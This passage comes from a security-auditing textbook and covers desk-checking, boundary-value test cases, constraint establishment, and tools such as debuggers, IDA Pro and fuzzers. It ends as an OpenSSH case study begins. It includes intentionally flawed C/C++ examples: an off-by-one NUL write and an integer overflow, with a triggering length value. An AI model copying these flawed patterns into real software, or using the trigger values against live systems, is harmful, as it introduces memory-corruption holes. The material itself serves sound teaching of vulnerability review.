module subsystems and dependencies and familiarize yourself with their behavior. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 150 For example, large applications commonly use their own memory allocation subsystems. These allocators might be wrappers to system memory allocators or complete replacements, which fall back on the system allocator only when requesting large blocks the application manages (the Apache Web server manages its memory in a similar manner). Any variance between the system allocator's and the custom allocator's behavior might be important, as you see later in Chapter 7(? [????.]). In addition to allocators, you might need to review a variety of common subsystems more thoroughly, including the following:  String and binary data buffer handlers  String parsers  System API replacements (such as file manipulation APIs and network APIs)  Data storage subsystems (hash table classes, for example) You also need to be familiar with the quirks of any standard system functionality in use. Later chapters cover these issues for both Windows and UNIX operating systems. However, many less used functions aren't mentioned. When you encounter system functions you don't know, learn exactly how that function works. After all, such functions can often provide you with new security relevant quirks to look for in the future. Rereading Code Even the simple act of reading tends to be an iterative process. Often you need to read the same code paths several times over to account for all the vulnerability classes you need to consider. For example, one approach is to focus on integer-related vulnerabilities, memory management vulnerabilities, and formatted data vulnerabilities in one pass. Then you make another pass to focus on functional audits (checking return values, error prone API calls, and so on). Finally, you could make a pass to identify any synchronization vulnerabilities. There's no metric to determine how many passes a piece of code requires. For example, you don't need to consider synchronization vulnerabilities if the code doesn't run in a multithreaded context, deal with asynchronous events, or modify shared data. Exercise your own judgment in determining how many passes to make; however, at least two passes are recommended because with only one pass, you might miss subtle complexities in the code or make an obvious oversight. Especially complex code can be difficult to wrap your brain around, so you might need several passes to understand what it's doing. Even after reaching a thorough understanding, it's a good idea to go back later and check that your comprehension of the code is correct as well as complete. Security vulnerabilities usually exist because of oversights in seemingly minor details that have a major impact on the code. You need to keep asking questions about even simple-looking code. Are global variables The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 151 or structure members altered? Are return values or arguments not always initialized? Are return values ignored or misinterpreted because of typing errors or incorrect calls? These questions are just a few things you need to consider for each function you examine. The best way to make sure you cover all your bases is to evaluate some code and then go back and make sure you didn't miss anything. Even Santa has to check his list twice! Desk-Checking Sometimes you see code that's difficult to evaluate in your head. The code might have too many variables coming from different places and being reassigned, or peculiar code constructs with side effects that aren't obvious. In these cases, desk-checking is recommended. Desk-checking is a technique consisting of creating a table of all variables in a code fragment and then populating them with some initial values. They should be values that you think the code might not handle correctly (such as those gained from test cases, explained in the next section). Then you step through each line of the function, updating each value according to the code. To see how this technique works, first look at this simple code: int read_line(int sock, char *buf, size_t length) { int i, c = 0, n; for(i = 0; ; i++){ n = read(sock, (void *)&c, 1); if(n != 1) return -1; if(c == '\n') break; if(i < length) buf[i] = c; } buf[i] = '\0'; return 0; } This code isn't hard to understand just by looking at it, but it's fine for demonstration purposes. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 152 Note If you think the code is hard to understand, don't worry. After a little practice, you'll probably recognize constructs such as this one more readily and be able to understand the code more easily. The function is supposed to read a line from a socket. It puts bytes it reads from the line into the buf variable while it isn't full, and then silently discards extraneous data at the end of the line, thus returning at most a buffer of length bytes. Say you aren't too sure about evaluating whether this piece of code is secure and want to verify your thoughts. You can do a desk-check of the function with a test case you expect to be faulty. In this case, you want to see whether buf overflows when you supply a long line, so you use the following test data: buf = 4 byte buffer length = 4 line being read = "ABCDEF\n" The desk-check of this function is shown in Table 4-19. Table 4-19. Desk-Check of Algorithm Statement i buf c for(i = 0; 0 - - n = read(sock, &c, 1); 0 - A if(i < length) buf[i] = c; 0 buf[0] = 'A' A i++; 1 - A n = read(sock, &c, 1); 1 - B if(i < length) buf[i] = c; 1 buf[1] = 'B' B i++; 2 - B n = read(sock, &c, 1); 2 - C if(i < length) buf[i] = c; 2 buf[2] = 'B' C i++; 3 - C n = read(sock, &c, 1); 3 - D if(i < length) buf[i] = c; 3 buf[3] = 'B' D i++; 4 - D The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 153 Table 4-19. Desk-Check of Algorithm Statement i buf c n = read(sock, &c, 1); 4 - E if(i < length) buf[i] = c; 4 - E i++; 5 - E n = read(sock, &c, 1); 5 - F if(i < length) buf[i] = c; 5 - F i++; 6 - F n = read(sock, &c, 1); 6 - \n if(c == '\n') break; 6 - \n buf[i] = '\0' 6 buf[6] = '\0' \n The desk-check shows that the function does read at most length bytes into the buffer supplied and then silently discard data afterward; however, a glitch is still apparent in the last two lines of this desk-check. Can you see it? The NUL byte to terminate the buffer is appended at an out-of-bounds location depending on how big the supplied line is because the i variable is used incorrectly as an index for the NUL termination. Any desk-check you do should roughly follow the format shown in the table, with statements being executed on one side and columns for the state of each relevant variable when the statement has been executed. Some statements in the code were omitted for brevity when they didn't affect the test case. As you can see, desk-checks can be a useful tool because they provide insight into how the algorithm operates. They can help you catch vulnerabilities that are easy to miss because they seem fine at first glance. However, desk-checks can be cumbersome, especially when your test cases are complicated and involve a lot of variables. Still, they are a necessary part of data validation, and you should use them whenever you're unsure of code you're reading. Using your own shorthand versions of desk-checking tables after you're familiar with them can be convenient. For example, you don't have to write the statements in the far-left column if you can keep track of them adequately. Test Cases Test cases are used for testing a program or small isolated part of code to see how it handles certain inputs. Test cases can be carried out in a number of different ways: writing software to interact with the program and supply the test data, entering values manually into a program using a debugger, or using desk-checking. The purpose of test cases is to determine whether the program handles certain inputs The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 154 correctly or certain combinations of inputs. Checking every possible combination of inputs usually isn't feasible, so you need to choose cases that are the most useful. Often this means boundary cases, in which inputs are unexpected or are treated specially by the code in question. For example, say you have a function with this prototype: int Connection::ConnectionRead(int len); You want to test how well this function copes with unexpected input. To do this, you need to identify ranges of values input variables can take and choose values from those ranges to test the function. Some test cases might include the following:  Calling the ConnectionRead() function with len = small negative (-1, for example)  Calling the ConnectionRead()function with len = large negative value (0x80000000, for example)  Calling the ConnectionRead()function with len = 0  Calling the ConnectionRead()function with len = small positive value (10)  Calling the ConnectionRead()function with len = large positive value (0x7FFFFFFF, for example) The test cases have been classified based on the range of values len can take: positive, negative, or 0. Note You have two tests for positive and negative values because you're testing values close to the boundary conditions that constrain integers. These constraints are discussed in depth in Chapter 6(? [????.]). By using carefully chosen values from each range of possible values the input can take (in this case, positive, negative, or 0), you get the best value from your tests because you're covering both expected and unexpected cases with the fewest tests possible. After further inspection of the code, it might be more apparent that certain values seem like they're going to cause major problems, so you might add those values to your test cases later. For example, examine the function a little further: class Connection { private: int sock; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 155 Buffer network_data; ... }; int Connection::ConnectionRead(int len) { int n; if(network_data.GrowBuffer(len) == 0) return -1; n = ::read(sock, network_data.BufferEnd(), len); return n; } class Buffer { private: unsigned char *data; size_t data_size, data_used; ... }; #define EXTRA 1024 int Buffer::GrowBuffer(size_t length) { size_t new_size; char *new_data; if(data_size_data_used >= length) return 1; new_size = length + data_used + EXTRA; if(new_size < length) // check for integer overflow return 0; new_data = (unsigned char *)myrealloc(data, new_size); if(new_data == NULL) return 0; data_size = new_size; data = new_data; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 156 return 1; } void *myrealloc(void *data, size_t new_size) { void *block; new_size = (new_size + 15) & 0xFFFFFFF0; block = realloc(data, new_size); return block; } This fairly complicated code path has a subtle vulnerability. Specifically, an integer overflow can occur in myrealloc() when rounding up new_size (as shown in the bold line), but because of an integer overflow check in GrowBuffer(), only a select few values trigger the vulnerability. (Again, if the vulnerability isn't clear to you, don't worry. Integer overflows are covered in more detail in Chapter 6(? [????.]).) The exact value of len being passed to ConnectionRead() (or any function that calls the GrowBuffer() function) to trigger the integer overflow depends on what the data_used value is. If you assume it's 0, the previous test cases don't trigger the integer overflow because of the following code snippet from GrowBuffer(): new_size = length + data_used + EXTRA; if(new_size < length) // check for integer overflow return 0; The EXTRA added to new_size causes an integer overflow when using the test case of len = -1, and the large negative value test case doesn't overflow and realloc() simply fails. To trigger the bug (assuming data_used = 0), you need to add a test case of something like len = 0xFFFFFBFF (the maximum representable integer with 1024 subtracted from it). The initial range of test cases you come up with need to be tailored to the code you're examining to make sure you catch all the artificially created boundary cases occurring in the way the code works as well as the logical boundary cases you originally devised. Test Cases with Multiple Inputs The previous example brings up an interesting point dealing with multiple inputs. Before you examined the code in some depth, you cared about only one input as far as test cases were concerned: the len variable passed to ConnectionRead(). However, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 157 in the real world, often you deal with multiple inputs to functions. The problem is that having multiple inputs multiplies the number of test cases you need, as shown in this formula: tests = (set of cases)(number of inputs) The number of test cases can increase quickly. Furthermore, additional test cases might surface; often variables that are multiple inputs to a function are related in some way, a concept called "variable relationships" (discussed in Chapter 7(? [????.])). Essentially, a lot of variables and inputs in a module are given meaning by how they relate to other variables, so you might need to establish test cases to deal with boundary cases for a relationship, in addition to boundary cases for variables in isolation. The code you looked at previously is an example of such a test case; you must test the boundary case for the relationship between len and data_used because both those values must operate together to trigger the potential vulnerability. When building test cases for a function or code module, it's up to you to identify these relationships to make sure you have a complete set of test cases. The more you perform test cases, the more quickly you can identify the problem cases from looking at code, which speeds up the process. However, it's worth the time to work through all potential scenarios and verify whether the code handles them correctly. Spotting problems automatically isn't as thorough, and you might miss a case or two. In addition, the number of boundary conditions you have doesn't necessarily correspond to the number of inputs you supply to a code module because some variables take values indirectly from the input (such as data_used, presumably). Say you have a large number of test cases and you want to get rid of some, if possible. How do you do that while ensuring you're testing all the necessary boundary conditions you want to verify? There are two ways to go about cutting out extraneous test cases: constraint establishment and extraneous input thinning, explained in the following sections. Treat Input as Hostile Often you encounter code that is dangerous because the developer thinks that certain externally supplied variables are safe and trusts their content implicitly. This approach is dangerous for several reasons:  A code path might exist that's not accounted for, so less stringent input sanitation is done; therefore, the vulnerable code can be reached with variables in an unexpected state.  A new code path might be introduced in the future in which less The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 158 stringent input sanitation is done; therefore, the vulnerable code can be reached with variables in an unexpected state.  The input sanitation might not work as effectively as the developer expects because of a logic or implementation error, so the vulnerable code can be reached with variables in an unexpected state. In general, you should be wary of input data from other modules. You don't need to assume the same level of danger as completely external input, but you should still be a bit suspicious of it. After all, it's just good practice for the developer to perform some internal consistency checking, especially in a general purpose library. Constraint Establishment Sometimes you have a large number of test cases that verify code for all sorts of boundary conditions, but a lot of these test cases might be useless to you. Why? Because the code module you're testing can't be reached with variables in certain states, so even if the test cases aren't handled correctly, it doesn't matter because they can never happen. If you can verify that it's impossible for variables to exist in certain states, a number of the test cases become irrelevant, and you can discard them (noting down why you discarded them). This process is called constraint establishment. When you do this, you should ensure that sanitation checks on the input work as expected by doing separate test cases for the part of the code where the sanity checks occur. To see an example of where to discard test cases, go back to the ConnectionRead() function. Imagine that it's called from only a single place in the application, a function called ConnectionReadBuffer() that looks like this: int Connection::ConnectionReadBuffer(int len) { return ((len > 0) ? ConnectionRead(len) : 0); } This function is basically a wrapper to ConnectionRead(), except it ensures that len is a value greater than 0. That single check cuts out quite a few test cases; now you need to test only situations in which len is positive because ConnectionRead() can never be reached with len being 0 or negative. Extraneous Input Thinning Extraneous input thinning means getting rid of inputs that aren't a concern. For example, consider the following function prototype: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 159 int read_data(int sock, unsigned char *buffer, size_t length, int flags); This function is mostly a wrapper to recv(). The initial set of states for each variable when this function is called are shown in Table 4-20. Table 4-20. Input Data States Variable States sock Valid socket descriptor Invalid socket descriptor buffer NULL Non-NULL (size equal to length) Non-NULL (size not equal to length) length 0 Small positive number Huge positive number flags 0 Valid flags Invalid flags Now you have a set of possible states you want to test for. (You should normally be more specific about what values the flags variable can take, but that isn't necessary for this example.) You can probably eliminate a couple of these states when you examine the constraints for this function. For example, it's highly unlikely the program will call this function with an invalid socket descriptor. Beyond this constraint, however, certain values are outside an attacker's control both directly and indirectly. For example, say the flags variable can be any valid flag or combination of flags that the recv() function accepts (and this rule is enforced in the code elsewhere), but the program sets that value based on input from a configuration file that only the administrator can access. In this case, you don't need to test every combination of possible values flags can take; the default configuration from the file is probably sufficient. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 160 When eliminating test cases, be careful that you don't eliminate too many. Just because you can't control the value of a variable doesn't mean you can ignore it because the values that variable takes might influence how the function or module works, and you need to see how your input is dealt with in each circumstance. To summarize, you can ignore only input values that meet the following conditions:  You can't control them directly or indirectly.  The value of this variable doesn't significantly affect how data you do control is dealt with or how the module operates. In addition, sometimes you see arguments with the sole purpose of being filled in by the function, so when the function is called, the values in these variables are irrelevant. Unconstrained Data Types This discussion of test cases hasn't addressed dealing with data inputs of types that aren't constrained to a strict subset or range of values. The examples so far have dealt primarily with integer types that can be in one of three states: negative value, positive value, or 0. What about character strings, however? String data can be an arbitrary length and contain arbitrary characters supplied by users. This makes it hard to write a strict set of test cases and ensure that you're covering all possible results when the application is running in a real-world environment. String data complicates your test case procedures. Furthermore, this type of data isn't rare; you'll need to make test cases for it frequently, so you must be able to deal with this input in a consistent and accurate fashion. To do this, you need to do be aware of some context surrounding the input. In other words, you must determine what the unconstrained data represents and how the program interprets it. A number of things happen to string data over the course of a program:  Transformations The data is converted from one representation to another.  Validations Checks are performed to verify whether certain data elements are present at certain locations, to do length checks on the data, and to perform other related validation procedures.  Parsing and extraction Data is parsed into constituent elements. For strings, parsing usually means locating element boundaries by searching for a delimiter (such as whitespace), and then copying elements as needed by the application.  System usage The data is actually used for retrieving some sort of system resource, such as supplied filenames being opened or passed to another program to send e-mail. To provide effective string test cases, you should choose boundary cases for each transformation, validation, or parsing block that takes place. The best way to do this is by examining each operation performed on the data and classifying it into one of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 161 the three categories: transformation, validation, or parsing. Depending on the category, you decide what your goal is so that you can craft test cases accordingly. If an operation is a transformation, your goals are to see whether there's a case where the transformation occurs incorrectly, see whether corruption of some kind can occur, and see whether the order of transformations versus data validation results in a logical security vulnerability (that is, a validation procedure checks for the absence or presence of some data, but the data is subsequently transformed before it's used). These issues are explained in more detail in Chapter 8(? [????.]), "Strings and Metacharacters." If the operation is a validation procedure, your main goal is to determine whether this validation can be subverted in any cases or whether the validation is inadequate given the actions that follow. (This determination can include cases with no validation.) Again, these issues are discussed in Chapter 8(? [????.]). When parsing and extraction is performed, you're concerned with issues related to parsing data incorrectly, usually resulting in some sort of memory corruption (covered extensively in several later chapters). After completing these steps, often you find cases in which the data is used to access a system resource. This is usually the final step of the data's handling because it should have been validated and parsed by this point. So a vulnerability exists if using this string to access a resource allows an attacker to circumvent the application's security policy or corrupt its internal state. 6.4.10 Code Auditor's Toolbox Before you can analyze large chunks of code effectively, you need some tools that enable you to navigate code comfortably and perform related tasks such as fuzz-testing. This section introduces some major software tools for navigation of both source and binary code, debugging, fuzz-testing, and automated code auditing. Coverage of each tool includes an overview of its feature set and an assessment of its strengths and weaknesses. Code auditors vary in what type of tools they're comfortable with, so spend some time testing each product, and find the ones that suit you best. The overview tables also indicate which tools have a free version available. Code auditors tend to be creatures of habit. Most get familiar with certain tools and then never try competing tools because of the effort required to change their workflow. However, the state of the art changes rapidly, and new tools can introduce new capabilities that make code review much easier. If possible, take time to explore different products; you might find some features in competing tools that aren't available in your current tools. Source Code Navigators The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 162 Source code navigators enable you to manage both small and large source-code projects easily and efficiently. Although most programming suites come with IDE software, source code navigators vary slightly by focusing on reading and following the code instead of building it (although many IDEs have similar functions and might be adequate for analyzing code). Some features of good source code navigators include the following:  Cross-referencing functionality The capability to cross-reference a function or variable use is one of the most important features of a source code navigator. A good tool should enable you to look up definitions as well as uses of an object so that you can see the specifics of an object quickly and easily.  Text searching Text searching is useful for locating code that might be performing a particular kind of task (based on what strings it's looking for in input data). Additionally, text searching comes in handy for locating objects when the tool is unable to find a definition or the object definition comes from outside the project source. For example, an RPC server might have definitions for a variable declared in an rpcgen.x file, and the tool can't find the definitions because it's analyzing only .c files.  Multiple language support Multiple language support is useful for code auditors who examine projects written in a variety of languages. Most source code navigators support a few major languages (such as C/C++ and Java).  Syntax highlighting Every programmer should be familiar with the value of syntax highlighting. It is simply color coding that an IDE or source navigator applies to different programmatic constructs. Most tools have some form of syntax highlighting because it is considered essential for any modern software development.  Graphing capabilities A pictorial representation of an object's use or the control flow in a function or function group can be very useful. With graphing capabilities, you can get a clear representation of call trees or control-flow constructs without getting mired in the code.  Scripting capabilities Scripting capabilities can be useful for advanced automated analysis or manipulation of source code trees. With a powerful scripting language, automating some basic (and even not so basic) aspects of code auditing might be possible. Cscope Cscope, summarized in Table 4-21, is a useful utility with cross-referencing features in an easy-to-use text interface and search-and-replace features for making text substitutions over multiple source files. This utility doesn't offer a satisfactory code navigation environment because of the limited features it supports, but it's not designed to be an auditing environment. However, it can be a useful complement to other products, particularly Ctags, as both products make up for each other's drawbacks. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 163 Table 4-21. Cscope Operating system Most UNIX-based operating systems (Linux, BSD, Solaris) Product requirements None Free version available Yes URL http://cscope.sourceforge.net/ Key features Cross-referencing Text searching and replacing Ctags Ctags is an extension of the VIM editor designed for navigating source code. It offers a number of interesting features, although many features listed in Table 4-22 are actually part of VIM, not Ctags. It works by generating a file containing locations of data elements (structures, functions, variables, type definitions, preprocessor macros, and so on), and then referring to that file when users look up definitions. It's easy to use (for those familiar with VIM), and when combined with features already in VIM, it creates a functional code-navigating environment. Table 4-22. Ctags Operating system Most UNIX-based operating systems (Linux, BSD, Solaris) Product requirements VIM editor Free version available Yes URL http://ctags.sourceforge.net/ Key features Multiple language support Definition lookups Syntax highlighting Navigational shortcuts One of the main drawbacks of Ctags is that occasionally it jumps to the wrong place during a definition lookup. It might jump to a prototype instead of the actual function, for example. It can be particularly problem prone when a lot of indirection is involved in the code being examined. The second main drawback is that it doesn't have The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 164 cross-referencing features; however, using this tool with Cscope can work around that limitation. Source Navigator Source Navigator (see Table 4-23) is a GUI IDE developed primarily for use on Linux (and other UNIX-based OSs), but it also runs on Windows. It offers a rich feature set, including support for multiple languages, cross-referencing (text as well as pictorial), text searching, and definition lookups. It's an excellent product because the interface is simple and fast, and the engine works well. (It doesn't get definition lookups wrong, as other products sometimes do.) Table 4-23. Source Navigator Operating system UNIX and Windows Product requirements None Free version available Yes URL http://sourcenav.sourceforge.net/ Key features Multiple language support Cross-referencing Graphing capabilities Text searching and replacing Definition lookups Many auditors tend to prefer console environments for code auditing, but some of the features Source Navigator offers make code auditing in a GUI environment reasonably efficient. It does have a couple of drawbacks, however. First, it seems to have problems occasionally when dealing with large source trees (which can cause the application to crash). This problem isn't common, but it does happen. Second, it lacks syntax highlighting, which can make following code a little more difficult. Code Surfer Code Surfer (summarized in Table 4-24), a product by Grammatech, is specifically designed for code-auditing tasks. It extends the basic function of code navigators with additional features such as slicing. Slicing is a mechanism for syntax highlighting based on variables the user wants to track and what code paths are affected by that variable. This feature can be useful for enforcing the control-flow and data-flow sensitivities of your analysis. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 165 Table 4-24. Code Surfer Operating system UNIX and Windows Product requirements Cygwin if installed on Windows Free version available No URL www.grammatech.com/products/codesurfer/ Key features Multiple language support Cross-referencing Graphing capabilities Text searching and replacing Definition lookups Understand Understand by SciTools (summarized in Table 4-25) is designed for analyzing large codebases and supports a number of different languages. It's available as a GUI for both Windows and UNIX OSs. Understand is one of the most full-featured source code reading environment available today (with an especially easy-to-use and configurable interface). Understand also has a scripting interface for automating source-code analysis tasks. Table 4-25. Understand Operating system UNIX and Windows Product requirements None Free version available Time-limited trial URL www.scitools.com/ Key features Multiple language support Cross-referencing Graphing capabilities Text searching and replacing Definition lookups The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 166 Table 4-25. Understand Operating system UNIX and Windows Scripting and plug-in capabilities Debuggers Debugging is an integral part of a code auditor's job. It might be helpful when tracking down what code paths are used under a given set of circumstances, tracking down a fault that occurred as a result of black box testing, or verifying a vulnerability that has been located in the code. Quite a selection of debuggers are available for both Windows and UNIX-based OSs, and many have support for any architecture the OS is available on (to varying degrees). The level of sophistication in debuggers varies widely, as do their feature sets, so familiarize yourself with a number of debuggers to see which one suits you best. The following features are some good things to look for when selecting a debugger:  Kernel debugging Most debuggers are designed for debugging user land processes. You might be required to debug a kernel or kernel drivers, however. If so, you need a debugger with the capability of stepping through code that's running in kernel mode. Kernel debuggers are few and far between compared to regular debuggers, so if you anticipate doing any kernel-related work, familiarizing yourself with the popular ones is well worth your time.  Memory searching This is simply the ability to search for strings and values through arbitrary memory ranges. It might seem like a basic requirement for debuggers, but surprisingly, a few lack this feature.  Scripting capabilities Defining custom commands or macros for use when debugging an application can be useful. Scripting capabilities can be a powerful feature, and they're convenient for automating repetitive tasks.  Debugging support Certain binary file formats (such as ELF) have the capability to contain extensive debugging information, including source code, line numbering, source filenames, and so on. Other file formats are created when a program is compiled specifically to store debugging information (such as DBG files). This information is often useful, and a good debugger should be able to interpret this data to make debugging more manageable.  Conditional breakpoints You might need the ability to provide a set of requirements to be met for a breakpoint to trigger. This way, you don't need to manually check process state every time a breakpoint is triggered to determine whether it's relevant to what you're examining.  Thread support Debugging multithreaded applications can be quite difficult. Although nearly all debuggers support debugging multithreaded applications, some are better than others. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 167  On-the-fly assembling It can be useful to write assembly code that the debugger interprets into bytecode, especially when you're injecting code manually in a process or modifying code to test some condition.  Remote debugging support Depending on the task at hand, being able to debug a machine over the network can be convenient. The following sections describe some popular debuggers available for different OSs. GNU Debugger (GDB) GDB, summarized in Table 4-26, is probably the most widely used debugger for UNIX-based systems. It's a console debugger (although GUI front ends are available) that offers a fairly rich feature set and is quite easy to use (if you're familiar with assembly code and general debugger usea requirement if you plan to be effective with a debugger). Most of the commands use a similar syntax, so after you familiarize yourself with the basics, the rest comes easily. GDB is useful when you have source code access to the code you're debugging, as you can compile it with debugging information. (This level of information is specific to ELF binaries, a common binary file format on contemporary UNIX variants.) You can step through assembly code, and GDB shows the line of source code relating to the instruction being carried out. This feature makes it easy to do fault tracing or see what's going wrong when attempting to exercise code paths to test potential vulnerabilities in the code. Table 4-26. GDB Operating system UNIX and Windows Product requirements None Free version available Yes URL www.gnu.org/ Key features Kernel debugging (in some limited circumstances) Scripting capabilities File format debugging support Conditional breakpoints Thread support (limited) Remote debugging support GDB also has a scripting interface, which is useful for creating customized commands that can speed up debugging. The scripting interface is quite limited in many ways; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 168 for example, it can't keep state information between command calls. It's primarily meant for defining macros for a series of commands instead of building fully featured plug-ins, which is a shame. GDB also lacks a couple of features. On-the-fly assembly would be useful, as would memory searching. (There's no command to search through memory, although it's fairly easy to make a script to do so.) The interface can be a bit awkward for tasks such as editing data in memory (compared with a debugger such as SoftICE, covered later in this section). Further, GDB has a limitation when a process spawns several child processes: tracing into children can be difficult. Having said that, other UNIX debuggers have similar limitations, so it's not a GDB-specific issue. GDB supports non-Intel architectures, but sometimes it doesn't work quite as well on others; specifically, debugging sparc binaries is known to cause problems. OllyDbg OllyDbg is a free user land Windows debugger with an easy-to-use GUI for analyzing programs at runtime (see Table 4-27). Table 4-27. OllyDbg Operating system Windows Product requirements None Free version available Yes URL www.ollydbg.de/ Key features Conditional breakpoints Thread support Remote debugging support Plug-in capabilities On-the-fly assembly OllyDbg is feature rich and simplifies some time-consuming debugging tasks. Some of OllyDbg's features include the following:  The ability to record execution paths (useful in analyzing crashes, as you can step backward in the program to see what went wrong, which branches were taken, and so forth)  Exception handler chain view (saves you from manually walking the stack)  Setting marks you can return to (such as IDA has) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 169  On-the-fly assembly  Exception blocking (you can choose to pass certain exceptions on to the debugged process, but not others) In addition to basic debugging capabilities, Ollydbg has a sophisticated engine that enables developing plug-ins for extending the debugger's functionality. Some plug-ins include OllyDump (available at www.openrce.org/downloads/details/108/OllyDump), which allows the in-memory image of a process to be dumped to disk, and HeapVis (available at http://labs.idefense.com/labs.php?show=), a tool for visualizing the program heap's current state. SoftICE SoftICE from Compuware, summarized in Table 4-28, is a popular kernel-level debugger for Windows OSs. Because SoftICE runs in kernel mode, it can be used to debug user land applications and kernel drivers (or the kernel itself). SoftICE has a number of helpful features, including remote debugging, on-the-fly assembly, an efficient command language, and powerful search, replace, and edit features. Compuware recently discontinued SoftICE; however, it remains a popular Windows kernal debugger. Table 4-28. SoftICE Operating system Windows Product requirements None Free version available Trial version only URL www.compuware.com Key features Kernel debugging Conditional breakpoints Thread support Remote debugging support On-the-fly assembly Binary Navigation Tools Not all the applications you audit are available as source code. In fact, source code often isn't provided, so you must audit the program binaries by reading the application's assembly code and figuring out how it works from there. You need some The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 170 tools that aid in binary navigation so that examining executables is less cumbersome. Some good features for binary navigation tools include the following:  Annotation options Auditing assembly code can be tedious and difficult. It's useful for code reviewers to be able to annotate code with remarks about what the code does or potential errors that need to be followed up.  Markers As an addition to annotation, markers enable you to return to previous suspect code locations automatically. These markers are useful, especially when you're returning to an application you worked on all last night.  Graphing capabilities As with source code navigators, graphing capabilities enable you to see the structure of a function or function call tree. This feature is useful when you need to establish a call path to a suspect function or examine the logical layout of how a function operates internally.  Structure definition capabilities Because assembly code can be difficult to follow, it's useful to be able to define structures with discernible members discovered during the reverse-engineering process. Applying these structures is essential when performing data-flow sensitive analysis, especially in object-oriented code.  Scripting capabilities The ability to write scripts or plug-ins is particularly useful for binary analysis. They can be useful for unpacking an executable automatically as well as writing tools to automatically analyze certain constructs in the code. For instance, scripts can aid static analysis for automatic vulnerability detection or provide useful information, such as object recognition, structure definitions, or variable tracking. IDA Pro IDA Pro, summarized in Table 4-29, is the tool for binary navigation and a mandatory part of code reviewers' toolkit. Get this product if you don't have itthat's an order! IDA Pro can be used to interpret many binary file formats targeted for a range of processors, so it's useful for nearly any sort of binary you encounter. Table 4-29. IDA Pro Operating system Linux and Windows Product requirements None Free version available No URL www.datarescue.com Key features Multiple language support Cross-referencing The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 171 Table 4-29. IDA Pro Operating system Linux and Windows Graphing capabilities Text searching and replacing Definition lookups Scripting and plug-in capabilities Note Even if IDA doesn't recognize the file format you're trying to analyze, it's possible to construct a loader module for specific binary types by using the IDA plug-in interface. IDA Pro has a rich (and unparalleled) feature set, which includes the following:  Automatic recognition of functions and data elements in a binary  Propagation of type information across function calls  Recognition of common compiler constructs  Recognition of fragmented function blocks  The ability to navigate a binary graphically (new to version 5)  Cross-referencing capabilities  Flowchart and graphing capabilities  A flexible scripting language for automating analysis tasks  An extensible plug-in framework that allows developers to write sophisticated analysis modules (or binary loaders) IDA also integrates debugging into its disassembler product. This product can be used instead of a standalone debugger and has the advantage of combining static analysis features with live debugging for a more comprehensive reverse-engineering environment. The debugger in IDA also has a lot of the features that other popular debuggers have. BinNavi BinNavi is an exciting new product by Sabre (see Table 4-30). Developed as an IDA plug-in targeted at code auditors who want to understand a program's inner workings more clearly, BinNavi provides a graphical representation of a binary that users can navigate easily. Call trees or internal function workings can be expressed in a variety of graphical formats, from circular graphs to tree flowcharts. BinNavi enables users to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 172 pinpoint interesting code paths quickly by eliminating extraneous code paths and saving different views of the same binary that highlight the paths being analyzed. Graph nodes can be colored separately to help highlight certain components in a function or call tree. Table 4-30. BinNavi Operating system Windows and Linux Product requirements IDA Pro Free version available No URL www.sabre-security.com/ Key features Graphing capabilities Annotation Debugging Scriptable interface Graphing is just one of the tools that BinNavi provides for annotation. Users can also maintain detailed notes on each node on a graph, and these notes can be found quickly by using saved views and BinNavi's built-in search capabilities. Of course, the features described so far are useful for static analysis, but users need to be able to correlate their notes with runtime instances of the application. Therefore, BinNavi also gives users basic debugging capabilities, so they can select nodes to break on for further analysis while the process is running. The latest version of BinNavi offers some Python scripting capabilities to perform some of the features mentioned in the previous section on debuggers. Fuzz-Testing Tools At times, fuzz-testing is required as part of an audit in addition to code review. Fuzz-testing can be useful for finding bugs missed during the code audit because of complex code constructs and time constraints. This testing can be invaluable in ensuring that you have caught the most readily detected vulnerabilities. A good fuzz-testing tool should be protocol aware or capable of scripting so that it can provide a thorough test of known problems with the protocol in question. In addition, some new fuzz-testing tools might attempt intelligent attack vectors, which means they receive results of a request and use that information to build further requests to target potential problem areas. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 173 SPIKE SPIKE, summarized in Table 4-31, is a protocol-independent fuzz-testing tool. It gives users a number of preformulated scripts for testing products that use known protocols as well as a powerful scripting language for creating scripts to test arbitrary protocols. Table 4-31. SPIKE Operating system UNIX and Windows Product requirements None Free version available Yes URL www.immunitysec.com/ Key features Scriptable interface Dave Aitel (author of SPIKE) has written an interesting paper on the merits of block-based protocol analysis (decomposing protocol data into blocks for the purposes of size management and information discovery), the model on which SPIKE is built. You can find this paper at www.immunitysec.com/downloads/advantages_of_block_based_analysis.html. In addition, a proxy component is available for SPIKE for dealing with Web application testing environments. 6.4.11 Case Study: OpenSSH In this chapter, you have learned about the four-phase application review process that functions at a high level. To see how these steps could be applied in a real-world setting, you walk through a practical example using the OpenSSH server. The source code is available from www.openssh.com/, and the version is OpenSSH 4.3. Note For those unfamiliar with OpenSSH, it's the premier Secure Shell (SSH) server on the Internet. It provides an encrypted interactive shell service to authenticated users for a particular machine. More details are available on the OpenSSH Web site (www.openssh.com). Preassessment Referring back to the application review process, first you need to establish essential application information. You don't have a design specification or SDLC documentation; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 174 instead, you need to examine the code briefly to identify the key components you need to look at. The first thing you do is determine attack vectors you need to cover. To do this, you need a good idea of how the application is exposed and to 